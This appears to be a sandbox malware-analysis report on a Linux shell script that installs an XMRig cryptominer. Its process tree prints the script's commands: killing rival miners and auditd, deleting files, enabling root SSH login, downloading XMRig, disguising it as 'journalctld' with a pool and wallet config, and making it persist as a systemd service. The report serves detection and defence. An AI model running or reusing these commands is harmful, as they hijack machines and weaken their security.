Overview

overview

10

Static

static

1

ee2a183834...92A.sh

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    6s
  • max time network
    9s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    04-11-2024 19:26

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ee2a1838344c1b22dcea81766204f3692A.sh

  • Size

    6KB

  • MD5

    5e2f203cb513bf4b210ac61b009df327

  • SHA1

    c77e72660d9034fe26137b040a3f073b7725d233

  • SHA256

    07f9edc6e718ebcbead64e0a2afda717f9296e76a2a5654c2b50ad7e76cd4106

  • SHA512

    7a3519c73104a327731dfa3a8507b72ea95d77f6eb8980bb072aad98c6955f11961d9716cb587cd8173fd9aa359158b91d6d59262cda496b80b32a822acd3247

  • SSDEEP

    192:4prsOPBNttuJzzCdEifVHsmVHyC3Kx7OW81nFZBh2A7o7oNcoTuwFoFxuF0y:esOPBNttuJzzC3VHsmVHyCax7M1nFZBV

Score
10/10
xmrigxmrig_linuxantivmcredential_accessdefense_evasiondiscoveryminerpersistenceprivilege_escalation

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
    miner
  • Xmrig family
    xmrig
  • Xmrig_linux family
    xmrig_linux
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • OS Credential Dumping 1 TTPs 17 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

    credential_access
  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 17 IoCs

    Abuse sudo or cached sudo credentials to execute code.

    privilege_escalationdefense_evasion
  • Checks hardware identifiers (DMI) 1 TTPs 8 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Reads hardware information 1 TTPs 28 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 64 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 53 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Process Discovery 1 TTPs 1 IoCs

    Adversaries may try to discover information about running processes.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ee2a1838344c1b22dcea81766204f3692A.sh
    /tmp/ee2a1838344c1b22dcea81766204f3692A.sh
    1⤵
    • Modifies rc script
    • Writes file to tmp directory
    PID:2870
    • /usr/bin/sudo
      sudo systemctl stop c3pool_miner.service
      2⤵
      • OS Credential Dumping
      • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
      PID:2872
      • /usr/bin/systemctl
        systemctl stop c3pool_miner.service
        3⤵
          PID:2873
      • /usr/bin/sudo
        sudo systemctl disable c3pool_miner.service
        2⤵
        • OS Credential Dumping
        • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
        PID:2874
        • /usr/bin/systemctl
          systemctl disable c3pool_miner.service
          3⤵
            PID:2875
        • /usr/bin/sudo
          sudo systemctl disable xmrig.service
          2⤵
          • OS Credential Dumping
          • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
          PID:2877
          • /usr/bin/systemctl
            systemctl disable xmrig.service
            3⤵
            • Reads runtime system information
            PID:2881
        • /usr/bin/sudo
          sudo systemctl stop journalctld.service
          2⤵
          • OS Credential Dumping
          • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
          PID:2882
          • /usr/bin/systemctl
            systemctl stop journalctld.service
            3⤵
              PID:2883
          • /usr/bin/sudo
            sudo systemctl disable journalctld.service
            2⤵
            • OS Credential Dumping
            • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
            PID:2884
            • /usr/bin/systemctl
              systemctl disable journalctld.service
              3⤵
                PID:2885
            • /usr/bin/pidof
              pidof xmrig
              2⤵
              • Reads runtime system information
              PID:2886
            • /usr/bin/ps
              ps aux
              2⤵
              • Checks CPU configuration
              • Reads CPU attributes
              • Enumerates kernel/hardware configuration
              • Process Discovery
              • Reads runtime system information
              PID:2888
            • /usr/bin/grep
              grep "[--]config="
              2⤵
                PID:2889
              • /usr/bin/awk
                awk "{print \$2}"
                2⤵
                  PID:2890
                • /usr/bin/sudo
                  sudo killall xmrig
                  2⤵
                  • OS Credential Dumping
                  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                  • Reads runtime system information
                  PID:2891
                  • /usr/bin/killall
                    killall xmrig
                    3⤵
                    • Reads runtime system information
                    PID:2892
                • /usr/bin/sudo
                  sudo pkill xmrig
                  2⤵
                  • OS Credential Dumping
                  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                  PID:2893
                  • /usr/bin/pkill
                    pkill xmrig
                    3⤵
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:2894
                • /usr/bin/sudo
                  sudo pkill auditd
                  2⤵
                  • OS Credential Dumping
                  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                  • Reads runtime system information
                  PID:2895
                  • /usr/bin/pkill
                    pkill auditd
                    3⤵
                    • Reads CPU attributes
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:2896
                • /usr/bin/killall
                  killall -9 xmrig
                  2⤵
                  • Reads runtime system information
                  PID:2898
                • /usr/bin/killall
                  killall xmrig
                  2⤵
                  • Reads runtime system information
                  PID:2899
                • /usr/bin/pkill
                  pkill xmrig
                  2⤵
                  • Reads CPU attributes
                  • Enumerates kernel/hardware configuration
                  • Reads runtime system information
                  PID:2900
                • /usr/bin/pkill
                  pkill auditd
                  2⤵
                  • Reads CPU attributes
                  • Enumerates kernel/hardware configuration
                  • Reads runtime system information
                  PID:2901
                • /usr/bin/killall
                  killall auditd
                  2⤵
                  • Reads runtime system information
                  PID:2902
                • /usr/bin/rm
                  rm -rf rm -rf /root/.local/.c
                  2⤵
                    PID:2903
                  • /usr/bin/rm
                    rm -rf /.c3pool
                    2⤵
                      PID:2904
                    • /usr/bin/rm
                      rm -rf /root/.c3pool
                      2⤵
                        PID:2905
                      • /usr/bin/rm
                        rm -rf /.local/share/auditd
                        2⤵
                          PID:2906
                        • /usr/bin/rm
                          rm -rf "/.local/.c*"
                          2⤵
                            PID:2907
                          • /usr/bin/rm
                            rm -rf /.local/bin/auditd
                            2⤵
                              PID:2908
                            • /usr/bin/rm
                              rm -rf /etc/cron.daily
                              2⤵
                                PID:2909
                              • /usr/bin/rm
                                rm -rf /etc/cron.daily/auditd
                                2⤵
                                  PID:2910
                                • /usr/bin/rm
                                  rm -rf /etc/systemd/system/journalctld.service
                                  2⤵
                                    PID:2911
                                  • /usr/bin/find
                                    find . -name "*c3pool*" -exec rm -rf "{}" ";"
                                    2⤵
                                      PID:2912
                                    • /usr/bin/find
                                      find . -name "*xmrig*" -exec rm -rf "{}" ";"
                                      2⤵
                                        PID:2913
                                      • /usr/bin/find
                                        find . -name "*miner*" -exec rm -rf "{}" ";"
                                        2⤵
                                          PID:2914
                                        • /usr/bin/find
                                          find -name "*c3pool*" -exec rm -rf "{}" ";"
                                          2⤵
                                            PID:2915
                                          • /usr/bin/find
                                            find -name "*xmrig*" -exec rm -rf "{}" ";"
                                            2⤵
                                              PID:2916
                                            • /usr/bin/find
                                              find -name "*miner*" -exec rm -rf "{}" ";"
                                              2⤵
                                                PID:2917
                                              • /usr/bin/find
                                                find -name "*c4*" -exec rm -rf "{}" ";"
                                                2⤵
                                                  PID:2918
                                                • /usr/bin/find
                                                  find -name "*auditd*" -exec rm -rf "{}" ";"
                                                  2⤵
                                                    PID:2919
                                                  • /usr/bin/sed
                                                    sed -i /AAAAB3NzaC1yc2EAAAADAQABAAABgQDJRrXGodFAgNzqgVw4QmjxKhZbvc6ReMa0ctI8WGbWBi/d /.ssh/authorized_keys
                                                    2⤵
                                                      PID:2920
                                                    • /usr/bin/sed
                                                      sed -i /AAAAB3NzaC1yc2EAAAADAQABAAABgQDJRrXGodFAgNzqgVw4QmjxKhZbvc6ReMa0ctI8WGbWBi/d /root/.ssh/authorized_keys
                                                      2⤵
                                                        PID:2921
                                                      • /usr/bin/sed
                                                        sed -i "/c3pool/d;/miner.sh/d" /.profile
                                                        2⤵
                                                          PID:2922
                                                        • /usr/bin/sed
                                                          sed -i "/c3pool/d;/miner.sh/d" /root/.profile
                                                          2⤵
                                                            PID:2923
                                                          • /usr/bin/mkdir
                                                            mkdir /.ssh
                                                            2⤵
                                                              PID:2924
                                                            • /usr/bin/touch
                                                              touch /.ssh/authorized_keys
                                                              2⤵
                                                                PID:2925
                                                              • /usr/bin/chmod
                                                                chmod 600 /.ssh/authorized_keys
                                                                2⤵
                                                                  PID:2926
                                                                • /usr/bin/chmod
                                                                  chmod go-w /root/
                                                                  2⤵
                                                                    PID:2928
                                                                  • /usr/bin/chmod
                                                                    chmod go-w /root
                                                                    2⤵
                                                                      PID:2929
                                                                    • /usr/bin/chmod
                                                                      chmod 700 /root/.ssh
                                                                      2⤵
                                                                        PID:2930
                                                                      • /usr/bin/chmod
                                                                        chmod 700 /root/.ssh
                                                                        2⤵
                                                                          PID:2931
                                                                        • /usr/bin/chmod
                                                                          chmod 600 /root/.ssh/authorized_keys
                                                                          2⤵
                                                                            PID:2932
                                                                          • /usr/bin/chown
                                                                            chown root /root
                                                                            2⤵
                                                                              PID:2933
                                                                            • /usr/bin/chown
                                                                              chown root /root/.ssh
                                                                              2⤵
                                                                                PID:2927
                                                                              • /usr/bin/sudo
                                                                                sudo sed -i "s/#PermitRootLogin prohibit-password/PermitRootLogin yes/" /etc/ssh/sshd_config
                                                                                2⤵
                                                                                • OS Credential Dumping
                                                                                • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                PID:2934
                                                                                • /usr/bin/sed
                                                                                  sed -i "s/#PermitRootLogin prohibit-password/PermitRootLogin yes/" /etc/ssh/sshd_config
                                                                                  3⤵
                                                                                    PID:2935
                                                                                • /usr/bin/sudo
                                                                                  sudo sed -i "s/#PubkeyAuthentication yes/PubkeyAuthentication yes/" /etc/ssh/sshd_config
                                                                                  2⤵
                                                                                  • OS Credential Dumping
                                                                                  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                  PID:2936
                                                                                  • /usr/bin/sed
                                                                                    sed -i "s/#PubkeyAuthentication yes/PubkeyAuthentication yes/" /etc/ssh/sshd_config
                                                                                    3⤵
                                                                                      PID:2937
                                                                                  • /usr/bin/mkdir
                                                                                    mkdir -p /.local/.c
                                                                                    2⤵
                                                                                      PID:2943
                                                                                    • /.local/.c/journalctld
                                                                                      /.local/.c/journalctld --help
                                                                                      2⤵
                                                                                        PID:2944
                                                                                      • /usr/bin/grep
                                                                                        grep browser_download
                                                                                        2⤵
                                                                                          PID:2947
                                                                                        • /usr/bin/curl
                                                                                          curl -s4 https://api.github.com/repos/xmrig/xmrig/releases/latest
                                                                                          2⤵
                                                                                            PID:2946
                                                                                          • /usr/bin/grep
                                                                                            grep linux-static
                                                                                            2⤵
                                                                                              PID:2948
                                                                                            • /usr/bin/cut
                                                                                              cut "-d\"" -f4
                                                                                              2⤵
                                                                                                PID:2949
                                                                                              • /usr/bin/curl
                                                                                                curl -s4 -L https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz -o /tmp/xmrig.tar.gz
                                                                                                2⤵
                                                                                                • Writes file to tmp directory
                                                                                                PID:2951
                                                                                              • /usr/bin/tar
                                                                                                tar xf /tmp/xmrig.tar.gz -C /.local/.c "--strip=1"
                                                                                                2⤵
                                                                                                • System Network Configuration Discovery
                                                                                                PID:2954
                                                                                                • /usr/local/sbin/gzip
                                                                                                  gzip -d
                                                                                                  3⤵
                                                                                                    PID:2955
                                                                                                  • /usr/local/bin/gzip
                                                                                                    gzip -d
                                                                                                    3⤵
                                                                                                      PID:2955
                                                                                                    • /usr/sbin/gzip
                                                                                                      gzip -d
                                                                                                      3⤵
                                                                                                        PID:2955
                                                                                                      • /usr/bin/gzip
                                                                                                        gzip -d
                                                                                                        3⤵
                                                                                                          PID:2955
                                                                                                      • /usr/bin/rm
                                                                                                        rm /tmp/xmrig.tar.gz
                                                                                                        2⤵
                                                                                                          PID:2956
                                                                                                        • /usr/bin/mv
                                                                                                          mv /.local/.c/xmrig /.local/.c/journalctld
                                                                                                          2⤵
                                                                                                            PID:2957
                                                                                                          • /.local/.c/journalctld
                                                                                                            /.local/.c/journalctld --help
                                                                                                            2⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Checks hardware identifiers (DMI)
                                                                                                            • Reads hardware information
                                                                                                            • Checks CPU configuration
                                                                                                            • Reads CPU attributes
                                                                                                            • Enumerates kernel/hardware configuration
                                                                                                            PID:2958
                                                                                                          • /usr/bin/hostname
                                                                                                            hostname
                                                                                                            2⤵
                                                                                                              PID:2960
                                                                                                            • /usr/bin/cut
                                                                                                              cut -f1 -d.
                                                                                                              2⤵
                                                                                                                PID:2961
                                                                                                              • /usr/bin/sed
                                                                                                                sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                                                                                                                2⤵
                                                                                                                  PID:2962
                                                                                                                • /usr/bin/sed
                                                                                                                  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"auto.c3pool.org:19999\",/" /.local/.c/config.json
                                                                                                                  2⤵
                                                                                                                    PID:2963
                                                                                                                  • /usr/bin/sed
                                                                                                                    sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"4A8Ye8K9azyVuTvjBCDDZYLmX62A2ivpyQJD97MTsCtCK36Q4QF5xq84ey8DMjxSFc7VUTNh6xx58jPuMP3qp4v2RK42Cb7\",/" /.local/.c/config.json
                                                                                                                    2⤵
                                                                                                                      PID:2964
                                                                                                                    • /usr/bin/sed
                                                                                                                      sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2404-amd64-20240523-en-3\",/" /.local/.c/config.json
                                                                                                                      2⤵
                                                                                                                        PID:2965
                                                                                                                      • /usr/bin/sed
                                                                                                                        sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /.local/.c/config.json
                                                                                                                        2⤵
                                                                                                                          PID:2966
                                                                                                                        • /usr/bin/sed
                                                                                                                          sed -i "s#\"log-file\": *null,#\"log-file\": \"/.local/.c/journalctld.log\",#" /.local/.c/config.json
                                                                                                                          2⤵
                                                                                                                            PID:2967
                                                                                                                          • /usr/bin/sed
                                                                                                                            sed -i "s/\"syslog\": *[^,]*,/\"syslog\": false,/" /.local/.c/config.json
                                                                                                                            2⤵
                                                                                                                              PID:2968
                                                                                                                            • /usr/bin/sed
                                                                                                                              sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/" /.local/.c/config.json
                                                                                                                              2⤵
                                                                                                                                PID:2969
                                                                                                                              • /usr/bin/sed
                                                                                                                                sed -i "s/\"background\": *[^,]*,/\"background\": false,/" /.local/.c/config.json
                                                                                                                                2⤵
                                                                                                                                  PID:2970
                                                                                                                                • /usr/bin/cp
                                                                                                                                  cp /.local/.c/config.json /.local/.c/config_background.json
                                                                                                                                  2⤵
                                                                                                                                    PID:2971
                                                                                                                                  • /usr/bin/sed
                                                                                                                                    sed -i "s/\"background\": *false,/\"background\": true,/" /.local/.c/config_background.json
                                                                                                                                    2⤵
                                                                                                                                      PID:2972
                                                                                                                                    • /usr/bin/cat
                                                                                                                                      cat
                                                                                                                                      2⤵
                                                                                                                                        PID:2973
                                                                                                                                      • /usr/bin/chmod
                                                                                                                                        chmod +x /.local/.c/journalctl
                                                                                                                                        2⤵
                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                        PID:2974
                                                                                                                                      • /usr/bin/grep
                                                                                                                                        grep journalctl /.profile
                                                                                                                                        2⤵
                                                                                                                                          PID:2975
                                                                                                                                        • /usr/bin/grep
                                                                                                                                          grep journalctl /etc/rc.local
                                                                                                                                          2⤵
                                                                                                                                            PID:2976
                                                                                                                                          • /usr/bin/chmod
                                                                                                                                            chmod a+x /etc/rc.local
                                                                                                                                            2⤵
                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                            PID:2977
                                                                                                                                          • /usr/bin/sudo
                                                                                                                                            sudo -n true
                                                                                                                                            2⤵
                                                                                                                                            • OS Credential Dumping
                                                                                                                                            • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                                                                            PID:2978
                                                                                                                                            • /usr/bin/true
                                                                                                                                              true
                                                                                                                                              3⤵
                                                                                                                                                PID:2979
                                                                                                                                            • /usr/bin/grep
                                                                                                                                              grep MemTotal /proc/meminfo
                                                                                                                                              2⤵
                                                                                                                                                PID:2981
                                                                                                                                              • /usr/bin/awk
                                                                                                                                                awk "{print \$2}"
                                                                                                                                                2⤵
                                                                                                                                                  PID:2982
                                                                                                                                                • /usr/bin/cat
                                                                                                                                                  cat
                                                                                                                                                  2⤵
                                                                                                                                                    PID:2983
                                                                                                                                                  • /usr/bin/sudo
                                                                                                                                                    sudo mv /tmp/journalctld.service /etc/systemd/system/journalctld.service
                                                                                                                                                    2⤵
                                                                                                                                                    • OS Credential Dumping
                                                                                                                                                    • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                                                                                    PID:2984
                                                                                                                                                    • /usr/bin/mv
                                                                                                                                                      mv /tmp/journalctld.service /etc/systemd/system/journalctld.service
                                                                                                                                                      3⤵
                                                                                                                                                        PID:2985
                                                                                                                                                    • /usr/bin/sudo
                                                                                                                                                      sudo killall journalctld
                                                                                                                                                      2⤵
                                                                                                                                                      • OS Credential Dumping
                                                                                                                                                      • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                                                                                      PID:2986
                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                        killall journalctld
                                                                                                                                                        3⤵
                                                                                                                                                        • Reads runtime system information
                                                                                                                                                        PID:2987
                                                                                                                                                    • /usr/bin/sudo
                                                                                                                                                      sudo systemctl daemon-reload
                                                                                                                                                      2⤵
                                                                                                                                                      • OS Credential Dumping
                                                                                                                                                      • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                                                                                      PID:2988
                                                                                                                                                      • /usr/bin/systemctl
                                                                                                                                                        systemctl daemon-reload
                                                                                                                                                        3⤵
                                                                                                                                                          PID:2989
                                                                                                                                                      • /usr/bin/sudo
                                                                                                                                                        sudo systemctl enable journalctld.service
                                                                                                                                                        2⤵
                                                                                                                                                        • OS Credential Dumping
                                                                                                                                                        • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                                                                                        PID:3114
                                                                                                                                                        • /usr/bin/systemctl
                                                                                                                                                          systemctl enable journalctld.service
                                                                                                                                                          3⤵
                                                                                                                                                            PID:3117
                                                                                                                                                        • /usr/bin/sudo
                                                                                                                                                          sudo systemctl restart journalctld.service
                                                                                                                                                          2⤵
                                                                                                                                                          • OS Credential Dumping
                                                                                                                                                          • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                                                                                          PID:3248
                                                                                                                                                          • /usr/bin/systemctl
                                                                                                                                                            systemctl restart journalctld.service
                                                                                                                                                            3⤵
                                                                                                                                                              PID:3249
                                                                                                                                                          • /usr/bin/pidof
                                                                                                                                                            pidof journalctld
                                                                                                                                                            2⤵
                                                                                                                                                            • Reads runtime system information
                                                                                                                                                            PID:3251
                                                                                                                                                          • /bin/bash
                                                                                                                                                            /bin/bash /.local/.c/journalctl "--config=/.local/.c/config_background.json"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:3252
                                                                                                                                                              • /usr/bin/pidof
                                                                                                                                                                pidof journalctld
                                                                                                                                                                3⤵
                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                PID:3253
                                                                                                                                                              • /usr/bin/nice
                                                                                                                                                                nice /.local/.c/journalctld "--config=/.local/.c/config_background.json"
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:3254
                                                                                                                                                                • /.local/.c/journalctld
                                                                                                                                                                  /.local/.c/journalctld "--config=/.local/.c/config_background.json"
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Checks hardware identifiers (DMI)
                                                                                                                                                                  • Reads hardware information
                                                                                                                                                                  • Checks CPU configuration
                                                                                                                                                                  • Reads CPU attributes
                                                                                                                                                                  • Enumerates kernel/hardware configuration
                                                                                                                                                                  PID:3254
                                                                                                                                                              • /usr/bin/sudo
                                                                                                                                                                sudo /etc/init.d/ssh restart
                                                                                                                                                                2⤵
                                                                                                                                                                • OS Credential Dumping
                                                                                                                                                                • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
                                                                                                                                                                PID:3256
                                                                                                                                                                • /etc/init.d/ssh
                                                                                                                                                                  /etc/init.d/ssh restart
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:3257
                                                                                                                                                                    • /usr/sbin/sshd
                                                                                                                                                                      /usr/sbin/sshd "-?"
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:3259
                                                                                                                                                                      • /usr/bin/grep
                                                                                                                                                                        grep -q OpenSSH
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:3260
                                                                                                                                                                        • /usr/bin/run-parts
                                                                                                                                                                          run-parts --lsbsysinit --list /lib/lsb/init-functions.d
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:3266
                                                                                                                                                                          • /usr/bin/systemctl
                                                                                                                                                                            systemctl -p LoadState --value show ssh.service
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:3268
                                                                                                                                                                            • /usr/bin/readlink
                                                                                                                                                                              readlink -f /etc/init.d/ssh
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:3269
                                                                                                                                                                              • /usr/bin/systemctl
                                                                                                                                                                                systemctl -p CanReload --value show ssh.service
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:3270
                                                                                                                                                                                • /usr/bin/systemctl
                                                                                                                                                                                  systemctl --quiet is-system-running
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:3271
                                                                                                                                                                                  • /usr/bin/systemctl
                                                                                                                                                                                    systemctl --no-pager restart ssh.service
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:3272

                                                                                                                                                                              Network

                                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                                              Reconnaissance

                                                                                                                                                                              Resource Development

                                                                                                                                                                              Initial Access

                                                                                                                                                                              Execution

                                                                                                                                                                              Persistence

                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                              1
                                                                                                                                                                              T1547

                                                                                                                                                                              Boot or Logon Initialization Scripts

                                                                                                                                                                              1
                                                                                                                                                                              T1037

                                                                                                                                                                              RC Scripts

                                                                                                                                                                              1
                                                                                                                                                                              T1037.004

                                                                                                                                                                              Privilege Escalation

                                                                                                                                                                              Abuse Elevation Control Mechanism

                                                                                                                                                                              1
                                                                                                                                                                              T1548

                                                                                                                                                                              Sudo and Sudo Caching

                                                                                                                                                                              1
                                                                                                                                                                              T1548.003

                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                              1
                                                                                                                                                                              T1547

                                                                                                                                                                              Boot or Logon Initialization Scripts

                                                                                                                                                                              1
                                                                                                                                                                              T1037

                                                                                                                                                                              RC Scripts

                                                                                                                                                                              1
                                                                                                                                                                              T1037.004

                                                                                                                                                                              Defense Evasion

                                                                                                                                                                              Abuse Elevation Control Mechanism

                                                                                                                                                                              1
                                                                                                                                                                              T1548

                                                                                                                                                                              Sudo and Sudo Caching

                                                                                                                                                                              1
                                                                                                                                                                              T1548.003

                                                                                                                                                                              File and Directory Permissions Modification

                                                                                                                                                                              1
                                                                                                                                                                              T1222

                                                                                                                                                                              Linux and Mac File and Directory Permissions Modification

                                                                                                                                                                              1
                                                                                                                                                                              T1222.002

                                                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                                                              2
                                                                                                                                                                              T1497

                                                                                                                                                                              System Checks

                                                                                                                                                                              2
                                                                                                                                                                              T1497.001

                                                                                                                                                                              Credential Access

                                                                                                                                                                              OS Credential Dumping

                                                                                                                                                                              1
                                                                                                                                                                              T1003

                                                                                                                                                                              /etc/passwd and /etc/shadow

                                                                                                                                                                              1
                                                                                                                                                                              T1003.008

                                                                                                                                                                              Discovery

                                                                                                                                                                              Process Discovery

                                                                                                                                                                              1
                                                                                                                                                                              T1057

                                                                                                                                                                              System Information Discovery

                                                                                                                                                                              3
                                                                                                                                                                              T1082

                                                                                                                                                                              System Network Configuration Discovery

                                                                                                                                                                              1
                                                                                                                                                                              T1016

                                                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                                                              2
                                                                                                                                                                              T1497

                                                                                                                                                                              System Checks

                                                                                                                                                                              2
                                                                                                                                                                              T1497.001

                                                                                                                                                                              Lateral Movement

                                                                                                                                                                              Collection

                                                                                                                                                                              Command and Control

                                                                                                                                                                              Exfiltration

                                                                                                                                                                              Impact

                                                                                                                                                                              Replay Monitor

                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                              Downloads

                                                                                                                                                                              • /.local/.c/.version
                                                                                                                                                                                Filesize

                                                                                                                                                                                3B

                                                                                                                                                                                MD5

                                                                                                                                                                                0ae48c8bf5f02e60a91576012b0b9f9c

                                                                                                                                                                                SHA1

                                                                                                                                                                                220a658ece560fcfba110b04862f4f4566dfb915

                                                                                                                                                                                SHA256

                                                                                                                                                                                95a46cb0e2527126bca4966d7c106019819b301ceed4de9fc5a37f205c2707dd

                                                                                                                                                                                SHA512

                                                                                                                                                                                d7ddfffe4bb6409c934ab95b00f778605367aacdb50ec7a7b4f92eef93ac88f746568f0dca5b10b75e5ad30b5f9950253328d01a838b5ca9961f1e8ffc1a1e18

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /.local/.c/SHA256SUMS
                                                                                                                                                                                Filesize

                                                                                                                                                                                150B

                                                                                                                                                                                MD5

                                                                                                                                                                                554d057fe1c4eab2071450cf6c434dc5

                                                                                                                                                                                SHA1

                                                                                                                                                                                9fa4d5aa72d698f72d105fce0bd44657f244c7e6

                                                                                                                                                                                SHA256

                                                                                                                                                                                cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1

                                                                                                                                                                                SHA512

                                                                                                                                                                                be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /.local/.c/config.json
                                                                                                                                                                                Filesize

                                                                                                                                                                                2KB

                                                                                                                                                                                MD5

                                                                                                                                                                                66f38c96a4901e7b345787c447842b3e

                                                                                                                                                                                SHA1

                                                                                                                                                                                2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

                                                                                                                                                                                SHA256

                                                                                                                                                                                2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

                                                                                                                                                                                SHA512

                                                                                                                                                                                71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /.local/.c/config_background.json
                                                                                                                                                                                Filesize

                                                                                                                                                                                2KB

                                                                                                                                                                                MD5

                                                                                                                                                                                8173e684cac8120d69514ffe592b86c6

                                                                                                                                                                                SHA1

                                                                                                                                                                                eebe04ceb5c64a29e81163aafd6c2ff36bfba3ba

                                                                                                                                                                                SHA256

                                                                                                                                                                                a0ea4768dc43833c6b7db8d7d264979c993b98526e11d51c919a7cc518bd7e76

                                                                                                                                                                                SHA512

                                                                                                                                                                                ffea565aef9ac1f0316de9025a7a5110057f9cdd3d8d69e75b9c193da04f9c7a870282e00ddd8981837b85f7b76dbe152976bbf64d91c71acf4a54c37437508c

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /.local/.c/journalctl
                                                                                                                                                                                Filesize

                                                                                                                                                                                90B

                                                                                                                                                                                MD5

                                                                                                                                                                                e13c57f6a5428e441ec603b88ee81d31

                                                                                                                                                                                SHA1

                                                                                                                                                                                8c0f2e52052b95b7320d801b9eb1808bfbecc567

                                                                                                                                                                                SHA256

                                                                                                                                                                                b47f0650ebb4ffaf94a95cf7f2443edd1a395a9e8d0d7a963b8629e90bdd4cd7

                                                                                                                                                                                SHA512

                                                                                                                                                                                94f9449376ada874bcef94e0b71e7f45fa5e7263574430909fa58c83a925edac0dc6fab22f8b963b2aa7bcaeddd14f72cd91adbf4b1090b5f0afe6530988121d

                                                                                                                                                                                Download Submit

                                                                                                                                                                              • /.local/.c/sed0UH6Zh
                                                                                                                                                                                Filesize

                                                                                                                                                                                2KB

                                                                                                                                                                                MD5

                                                                                                                                                                                c6636de808eb28491a3bf596f36a17f4

                                                                                                                                                                                SHA1

                                                                                                                                                                                19fb63c42d0604aab5f7dc559d94de1c7e4ff19a

                                                                                                                                                                                SHA256

                                                                                                                                                                                cb7b932cd1ea6e4fa9f9c556100414306c73dafdc9ebf7878392fff1580c8917

                                                                                                                                                                                SHA512

